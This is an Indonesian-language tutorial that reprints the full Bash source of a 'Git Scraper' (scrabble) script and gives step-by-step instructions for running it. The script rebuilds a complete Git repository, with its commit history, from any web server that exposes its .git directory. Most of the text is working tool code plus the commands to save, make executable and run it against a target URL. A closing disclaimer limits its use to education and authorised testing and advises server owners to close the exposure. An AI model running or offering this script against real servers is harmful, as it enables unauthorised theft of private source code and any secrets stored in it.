Memahami dan Menggunakan Script Git Scraper
Dalam dunia teknologi informasi, sering kali kita menemukan server web yang salah konfigurasi, sehingga direktori .git
dapat diakses secara publik. Kesalahan ini dapat menjadi celah keamanan yang memungkinkan pihak tak bertanggung jawab mengakses seluruh repositori Git. Artikel ini membahas tentang sebuah script yang dikenal sebagai "Git Scraper" serta cara penggunaannya.
Penjelasan Script Git Scraper
Script ini ditulis dalam bahasa Bash dan dirancang untuk mengunduh seluruh isi repositori Git dari server web yang memiliki direktori .git
yang dapat diakses publik. Script bekerja dengan cara:
Mengunduh blob: Mengambil file mentah yang disimpan di dalam repositori Git.
Parsing tree: Menavigasi struktur direktori dan file dalam Git.
Parsing commit: Melacak sejarah commit dan memproses commit induk secara rekursif.
Isi Script
Script Git Scraper terdiri dari tiga fungsi utama:
downloadBlob
: Mengunduh objek Git (blob) berdasarkan hash yang ditemukan.parseTree
: Memproses tree Git untuk menavigasi struktur file dan direktori.parseCommit
: Memproses commit Git untuk menemukan tree dan commit induknya.
Di akhir script, data yang diunduh akan disusun kembali menjadi repositori lokal menggunakan perintah git
.
Cara Menggunakan Script
1. Persiapan Lingkungan
Pastikan Anda memiliki:
Sistem operasi Linux atau macOS dengan akses ke terminal.
Tools berikut:
bash
(tersedia secara default di Linux dan macOS).wget
untuk mengunduh file.git
untuk bekerja dengan repositori Git.
2. Menyimpan Script
#!/bin/bash
#
# Author: Denny Huang <denny0223@gmail.com>
# Wed Sep 17 2014
# MIT License
function downloadBlob {
echo downloadBlob $1
mkdir -p ${1:0:2}
cd $_
wget -q -nc $domain/.git/objects/${1:0:2}/${1:2}
cd ..
}
function parseTree {
echo parseTree $1
downloadBlob $1
while read line
do
type=$(echo $line | awk '{print $2}')
hash=$(echo $line | awk '{print $3}')
[ "$type" = "tree" ] && parseTree $hash || downloadBlob $hash
done < <(git cat-file -p $1)
}
function parseCommit {
echo parseCommit $1
downloadBlob $1
tree=$(git cat-file -p $1| sed -n '1p' | awk '{print $2}')
parseTree $tree
parent=$(git cat-file -p $1 | sed -n '2p' | awk '{print $2}')
[ ${#parent} -eq 40 ] && parseCommit $parent
}
[ -z $1 ] && echo -e "missing target url\n\n\
Usage: scrabble <url>\n\
Example: scrabble http://example.com/\n\n\
You need make sure target url had .git folder"\
&& exit
domain=$1
ref=$(curl -s $domain/.git/HEAD | awk '{print $2}')
lastHash=$(curl -s $domain/.git/$ref)
git init
cd .git/objects/
parseCommit $lastHash
cd ../../
echo $lastHash > .git/refs/heads/master
git reset --hard
Salin kode script ke dalam file baru, misalnya
scrabble.sh
:nano scrabble.sh
Tempel kode script ke editor, lalu simpan file tersebut.
wget https://raw.githubusercontent.com/denny0223/scrabble/master/scrabble
3. Memberikan Izin Eksekusi
Jalankan perintah berikut untuk memberikan izin eksekusi pada script:
chmod +x scrabble.sh
4. Menjalankan Script
Gunakan perintah berikut untuk menjalankan script:
./scrabble.sh <url_target>
Contoh:
./scrabble.sh http://example.com/
<url_target>
adalah URL server target yang memiliki direktori.git
yang dapat diakses publik.
5. Hasil
Setelah script selesai dijalankan:
Repositori Git target akan direplikasi di direktori lokal Anda.
Anda dapat melihat isi repositori dan sejarah commit dari server target.
Disclaimer
⚠️ Penting:
Script ini ditujukan untuk tujuan edukasi dan pengujian keamanan.
Menggunakan script ini untuk mengakses data tanpa izin dari pemilik server merupakan pelanggaran hukum dan etika profesional.
Selalu pastikan Anda memiliki izin resmi sebelum menjalankan script ini pada server manapun.
Jika Anda adalah pemilik server, segera perbaiki kesalahan konfigurasi dengan menutup akses ke direktori
.git
untuk mencegah eksploitasi serupa.
Dengan pemahaman dan tanggung jawab yang benar, Anda dapat menggunakan script ini untuk meningkatkan keamanan sistem Anda dan belajar lebih banyak tentang cara kerja Git.